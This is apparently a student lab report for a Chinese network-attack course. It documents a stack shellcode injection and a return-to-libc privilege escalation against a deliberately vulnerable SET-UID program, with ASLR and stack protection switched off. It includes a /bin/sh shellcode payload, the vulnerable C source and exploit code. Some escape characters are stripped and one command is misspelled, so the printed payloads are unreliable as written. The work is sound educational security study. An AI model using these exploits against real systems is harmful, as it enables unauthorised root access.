20145302张薇《网络对抗技术》PC平台逆向破解

实验任务

１.简单shellcode注入实验

２.Return-to-libc 攻击实验

实验相关原理

Bof攻击防御技术

从防止注入的角度来看：在编译时，编译器在每次函数调用前后都加入一定的代码，用来设置和检测堆栈上设置的特定数字，以确认是否有bof攻击发生。
如GCC中的编译器有堆栈保护技术，参考链接：http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html
从被注入后也不能运行的角度看：结合CPU的页面管理机制，通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。
由于这些限制，所以我们在进行简单shellcode注入实验时需要设置环境，从而关闭这些保护。

Linux下内存地址随机化

/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制（address space layout randomization)，有以下三种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。

简单shellcode注入实验步骤

1.准备获取shellcode的C语言代码

与此同时我们下载了execstack程序以便接下来可以设置易于攻击的环境
2.配置环境
用execstack -s pwn5302命令来将堆栈设为可执行状态
用execstack -q pwn5302命令来查看文件pwn5302的堆栈是否是可执行状态
用more /proc/sys/kernel/randomize_va_space命令来查看地址随机化的状态
用echo "0" > /proc/sys/kernel/randomize_va_space命令来关闭地址随机化

3.构造要注入的payload

利用anything+retaddr+nops+shellcode的结构来构造，在终端输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode，并运行程序

4.打开另一个新的终端，先利用ps -ef | grep pwn5302查看pwn5302的进程号，随后在该终端下进入gdb调试模式

由上图知，pwn5302的进程号为2076
gdb调试

得到结束的地址：0x080484ae
打开原先的终端，敲一下回车，就会出现一段乱码

再次打开新的终端，在gdb中设置断点，并寻找注入的buf的地址

01020304的位置就是返回地址的位置，即0xffffd33c
shellcode的地址紧挨返回地址，加上四个字节后地址为0xffffd340

5.获得shellcode的地址后，再次返回先前的终端，先用exit命令退出该步骤，随后修改input_shellcoded的值为perl -e 'print "A" x 32;print "x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

修改后可以利用xxd命令查看是否修改成功
发送这段数据，即成功获得权限

Return-to-libc 攻击实验

本实验在栈不可执行的模式下进行
1.环境配置

输入如下指令，创建32位C语言可编译的环境
- sudo apt-get update
- sudo apt-get install lib32z1 libc6-dev-i386
输入命令linux32进入32位linux操作环境
使用/bin/bash命令进入bash

2.关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0
为了不让/bin/bash的防护程序起作用(为了防止shell攻击，程序被调用时会自动弃权)，我们使用zsh来代替：

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3.在tmp文件夹下创建“retlib.c”文件，并编译设置SET-UID


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}

此程序有一个缓冲区溢出漏洞：该程序读取badfile文件，将40字节的数据读取到只有12字节大小的buffer，而fread函数不检查边界导致溢出。


sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit

4.在tmp文件夹下准备“getenvaddr.c”文件用于读取环境变量，并编译


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
 char *ptr;
 if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p
", argv[1], ptr);
 return 0;
}

gcc -m32 -o getenvaddr getenvaddr.c

4.在tmp文件夹下准备“exploit.c”文件用于攻击


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}
/*
代码中“0x11111111”、“0x22222222”、“0x33333333”分别代表 BIN_SH、system、exit 的地址，需要我们接下来获取。
*/

5.获取地址

获取BIN_SH地址
- export BIN_SH=“/bin/sh”
- echo $BIN_SH
- ./gentenaddvr BIN_SH ./retlib
进入gdb设置断点，调试运行获取system和exit的地址
- gdb -q ./exploit
- list
- b 9
- run
获取system地址
- p system
获取exit地址
- p exit

6.通过上述获取的地址，修改入exploit.c文件，并删除之前生成的exploit和badfile文件，再次编译，运行exploit之后再运行retlib文件即可获得root权限，攻击成功

实验感想

对于简单的shellcode攻击实验来说，地址随机化是一个难题
相对于第一个shellcode注入的实验来说return to libc实验在更困难一点的情况下进行，即：使栈不可执行，这时候我们不能只是简单的发送数据让程序溢出，得准备查看环境和攻击的代码，这需要我们对电脑地址的存储有更深的了解。